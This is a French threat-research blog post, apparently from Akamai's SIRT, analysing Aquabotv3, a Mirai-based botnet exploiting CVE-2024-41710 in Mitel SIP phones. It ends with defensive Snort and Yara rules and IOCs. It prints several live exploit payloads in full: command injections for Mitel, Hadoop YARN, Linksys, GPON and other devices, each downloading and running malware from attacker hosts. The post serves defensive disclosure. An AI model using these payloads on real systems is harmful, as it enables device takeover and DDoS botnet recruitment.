Exploitation active : page d'accueil de la nouvelle variante d'Aquabot ciblant les téléphones
Commentaires éditoriaux et additionnels de Tricia Howard
Synthèse
L'équipe Security Intelligence and Response Team (SIRT) d'Akamai a identifié une nouvelle variante du logiciel malveillant basé sur Mirai, Aquabot, qui tente activement d'exploiter les téléphones SIP Mitel. Comme il s'agit de la troisième itération distincte d'Aquabot, nous l'avons surnommée Aquabotv3.
Ce logiciel malveillant exploite CVE-2024-41710, une vulnérabilité d'injection de commandes qui affecte les modèles Mitel.
Ce logiciel malveillant présente un comportement encore jamais observé dans une variante Mirai : une fonction (report_kill) pour signaler au serveur de commande et de contrôle (C2) quand un signal kill a été détecté sur le terminal infecté. Nous n'avons vu aucune réponse de C2 à la date de cet article de blog.
Introduction et découverte
Qu'est-ce qu'Aquabot ?
Aquabot est un botnet qui a été construit à partir de l'infrastructure Mirai avec l'objectif ultime de déni de service distribué (DDoS). Son nom est dérivé du nom de fichier présent dans l'analyse : « Aqua. » Il est connu depuis novembre 2023 et a été signalé pour la première fois par Antiy Labs. Il existe actuellement trois versions connues, dont nous présentons la troisième dans cet article de blog.
La première version était très similaire à la structure de base de Mirai, tandis la deuxième version a intégré des mécanismes de dissimulation et de persistance, comme la prévention de l'arrêt et du redémarrage du terminal. Pour une analyse technique complète, nous vous recommandons de lire le compte-rendu d'Antiy.
Cette troisième itération ajoute une activité innovante pour un botnet basé sur Mirai : la communication avec le serveur C2 lorsque le botnet intercepte certains signaux. Cette particularité, ainsi que d'autres différences notables en termes de fonctionnalité, la distingue véritablement de la version précédente, justifiant la reconnaissance d'une troisième variante.
Vulnérabilité et démonstration de faisabilité de l'exploit
CVE-2024-41710
CVE-2024-41710 est une vulnérabilité d'injection de commande qui affecte les téléphones SIP Mitel 6800, 6900 et 6900w, y compris le 6970 Conference Unit jusqu'au R6.4.0.HF1 (R6.4.0.136). Elle a été initialement divulguée mi-juillet 2024. Cette vulnérabilité repose sur un défaut de sécurisation des saisies, dont l'exploitation peut entraîner un accès root au terminal. Cela a été montré lors d'une démonstration de faisabilité rendue publique par le chercheur de Packetlabs, Kyle Burns, mi-août 2024 sur GitHub.
Il n'existe aucun cas connu d'exploitation de cette vulnérabilité dans la nature avant les observations de l'équipe SIRT en janvier 2025.
Démonstration de faisabilité de l'exploit
La démonstration de faisabilité (PoC) de l'exploit montre qu'un attaquant peut introduire clandestinement des entrées qui seraient sinon bloquées par les contrôles de sécurisation de l'application en envoyant une requête HTTP POST élaborée à cet effet.
Dans son README GitHub, Burns indique avoir découvert que le téléphone SIP Mitel 6869i, version 6.3.0.1020 du micrologiciel, ne parvenait pas à sécuriser correctement les entrées fournies par l'utilisateur. Il a également identifié de multiples points de terminaison vulnérables à ce problème. Dans le cadre de la PoC, il s'est concentré sur le point de terminaison « 802.1x support » (8021xsupport.html).
Les demandes à distance à 8021xsupport.html pouvaient être utilisées pour mettre à jour la configuration locale du terminal (/nvdata/etc/local.cfg). Lorsque la valeur d'octet « %dt » est envoyée, l'application web « linemgrSip » l'interprète comme un caractère de fin de ligne « %0d ». Cette caractéristique peut être exploitée lors du processus de démarrage, quand le contenu de la configuration locale du terminal est lu et utilisé pour les actions de démarrage.
Pour son exploit dans le cadre de la PoC, Burns fournit la charge utile suivante spécifiée dans le paramètre POST HTTP 802.1x+Identity dans le but d'obtenir l'exécution du code.
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
Au cours du processus de démarrage, l'application remplace l'entrée du nom d'hôte cible dans la configuration locale du terminal. L'entrée du nom d'hôte est ensuite utilisée lors du démarrage et exécute le script shell ajouté.
Exploitation active
Au début du mois de janvier 2025, l'équipe SIRT d'Akamai a détecté des tentatives d'exploit ciblant cette vulnérabilité via notre réseau mondial de pots de miel, avec une charge utile presque identique à celle de la démonstration. L'exemple de charge utile présenté dans la section précédente ciblait l'URI « /8021xsupport.html ». Elle est désormais utilisée pour diffuser des logiciels malveillants sur le terrain.
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
Cette charge utile tente de récupérer et d'exécuter un script shell appelé « bin.sh », qui à son tour extrait et exécute le logiciel malveillant Mirai sur le système cible, avec prise en charge de diverses architectures, notamment x86 et ARM.
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
Sur la base de notre analyse des échantillons de logiciels malveillants, nous avons déterminé qu'il s'agit d'une version de la variante d'Aquabot Mirai. Elle présente le plus de similitudes avec Aquabotv2, avec des fonctions d'attaque identiques. Il existe cependant des différences notables que nous aborderons dans les sections suivantes. En raison de cette évolution du logiciel malveillant, nous l'avons surnommée Aquabotv3.
Analyse du programme malveillant
À première vue, Aquabotv3 semble être un logiciel malveillant binaire Mirai standard avec des fonctions d'attaque DDoS typiques, telles que les floods et les contournements.
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
Cependant, nous avons remarqué une fonction appelée « defend_binary() », (représentée dans la figure 1 par « sym.defend_binary ») qui configure un gestionnaire de signaux « handle_signal() » pour les signaux suivants :
- Signal 15 (SIGTERM)
- Signal 2 (SIGINT)
- Signal 9 (SIGKILL)
- Signal 3 (SIGQUIT)
- Signal 20 (SIGTSTP)
- Signal 21 (SIGTTIN)
- Signal 22 (SIGTTOU)
- Signal 1 (SIGHUP)
La figure 1 montre que lorsque l'un de ces signaux est envoyé au fichier malveillant en cours d'exécution, le logiciel malveillant le détecte.
Une fois que le signal a été capturé, la fonction « handle_signal » place un indicateur dans la mémoire, indiquant que le signal a été capturé et que le binaire a été « défendu » (figure 2).
Mais ce n'est pas tout : Aquabotv3 communique ensuite avec la source. La fonction report_kill() envoie un message au C2 via une connexion TCP indiquant qu'un signal a été intercepté (figure 3).
Le logiciel malveillant renvoie également les tentatives kill au C2 (figure 4). Cependant, il ne semble pas que le C2 renvoie quoi que ce soit sur la base de la notification qu'un signal a été détecté.
Ce comportement n'avait encore jamais été observé dans une variante Mirai, et pourrait éventuellement devenir une nouvelle fonctionnalité. Bien que la raison réelle de ce comportement n'ait pas été confirmée, cette communication avec le C2 pourrait permettre à l'auteur du botnet de surveiller activement l'état de santé du botnet.
Le botnet contient des fonctions programmées pour tuer les processus qui répondent à certains critères, tels que les shells locaux.
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
Certains mécanismes d'obscurcissement introduits dans Aquabotv2 étaient également présents dans v3. La figure 5 montre comment le logiciel malveillant se renomme « httpd.x86 » et communique avec le serveur C2 193.200.78[.]57 sur le port 33966.
Grâce à notre analyse dynamique du comportement du logiciel malveillant, nous avons découvert qu'il se connecte également au serveur C2 89.190.156[.]145 sur le port 7733. Ces ports sont les mêmes dans de nombreux échantillons que nous avons analysés.
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
Autres vulnérabilités ciblées
Comme beaucoup d'autres botnets, celui-ci cible une variété d'autres vulnérabilités pour étendre sa portée. Nous avons observé que le même logiciel malveillant Aquabot Mirai se propageait par le biais de la vulnérabilité Hadoop YARN couramment exploitée. Comme pour la charge utile décrite précédemment, l'exploit récupère et exécute le même script shell « bin.sh », qui récupère et exécute ensuite la variante du logiciel malveillant Aquabot Mirai sur un système cible.
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Exploitation de la vulnérabilité Hadoop YARN
Voici quelques-unes des autres vulnérabilités que nous avons observées et qui sont ciblées par le botnet : CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, LINKSYS SÉRIE E RCE, CVE-2018-10562 et CVE-2018-10561. Bien que les noms de fichiers diffèrent de la dénomination directe « Aqua » des tentatives d'exploit Mitel, le logiciel malveillant de ces autres failles semble être le même.
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
Exploitation de CVE-2018-17532
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
Exploitation de CVE-2023-26801
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
Exploitation de CVE-2022-31137
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Exploitation de la RCE Linksys série E
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
Exploitation de CVE-2018-10562 et CVE-2018-10561
DDoS en tant que service
Nous avons également constaté que le ou les acteurs de la menace à l'origine d'Aquabot ont fait la promotion de ce botnet en tant que service DDoS sur des plateformes comme Telegram (figure 6). Il a été présenté sous plusieurs noms différents et propose des attaques DDoS de couche 4 et de couche 7. Les conventions de dénomination varient, certaines étant trompeuses quant à leur véritable objectif : Cursinq Firewall, The Eye Services et The Eye Botnet.
Les acteurs malveillants prétendent généralement que le botnet est utilisé uniquement à des fins de tests d'atténuation des attaques DDoS pour tenter de tromper les chercheurs ou les autorités judiciaires. Ils affirment que cela s'inscrit dans le cadre d’une démonstration de faisabilité ou d'un projet éducatif, mais une analyse plus approfondie montre qu'il s'agit en fait d'une publicité pour un service DDoS ou de propriétaires qui se vantent d'exploiter leur propre botnet sur Telegram.
Par exemple, dans la publicité de la figure 6, le domaine qu'ils présentent comme réservés à des tests de « systèmes d'atténuation des attaques DDoS » propage activement le logiciel malveillant Mirai.
Mirai et DDoS sont indissociables
Les attaques DDoS continuent d'être une menace omniprésente pour de nombreuses entreprises, et les botnets tels qu'Aquabot sont des acteurs clés dans ce domaine. De plus, comme la majorité de ces botnets sont basés sur le logiciel malveillant Mirai, ils ciblent principalement les terminaux de l'Internet des objets (IoT), ce qui facilite la propagation.
Le retour sur investissement de Mirai pour un auteur de botnet en herbe est élevé. Mirai est l'une des familles de botnets les plus performantes au monde et l'une des plus simples à modifier. Très souvent, ces machines IoT manquent de fonctions de sécurité appropriées, sont en fin de service ou conservent des configurations et des mots de passe par défaut, soit en raison d'une négligence, soit d'un manque de connaissances sur les dangers.
Dans le cas d'Aquabot, si le logiciel malveillant principal est le même que Mirai, la gestion du signal revêt un caractère unique. Toutefois, l'unicité n'est pas toujours avantageuse : ce logiciel malveillant n'est pas particulièrement silencieux, ce qui pourrait lui porter préjudice.
Le traitement unique des signaux pourrait s'expliquer par le fait que l'acteur malveillant observe intentionnellement l'activité défensive d'une machine afin de mettre au point des variantes plus furtives à l'avenir. Il pourrait également servir à détecter des perturbations/attaques actives provenant de botnets concurrents ou de campagnes de mise hors service éthiques, ou toute combinaison de ces éléments.
Actions à mettre en place
Quelles que soient les intentions de l'attaquant, prendre des mesures sur des terminaux IoT non sécurisés (comme la découverte et la modification des informations d'identification par défaut) peut aider à lutter contre les attaques DDoS. La plupart de ces botnets s'appuient sur des bibliothèques de mots de passe courantes pour l'authentification. Sachez où se trouvent vos terminaux IoT connus, et repérez d'éventuels terminaux indésirables. Vérifiez les informations d'identification de connexion, et changez-les si vous utilisez des valeurs par défaut ou faciles à deviner.
En savoir plus
L'équipe SIRT d'Akamai continuera à découvrir, surveiller et signaler les menaces telles que CVE-2024-41710 pour la sécurité de nos clients, de nos collègues et de l'ensemble de la communauté des spécialistes de la sécurité. Pour vous tenir informé des dernières découvertes, suivez-nous sur les réseaux sociaux ou consultez notre page d'étude sur la sécurité.
Indicateurs de compromission
Nous avons inclus une liste d'indicateurs de compromission (IOC), ainsi que des règles Snort et Yara, pour aider les défenseurs.
Règles Snort pour les indicateurs de compromission du réseau
Règles Snort pour les adresses IP malveillantes
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
Règles Snort pour la détection de résolution de domaine C2
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
Règles Yara pour les échantillons de logiciels malveillants
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
Adresses IPv4 de l'infrastructure historique
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
Domaines pour serveur C2 et points de terminaison de distribution de logiciels malveillants
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
Hachages SHA256
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3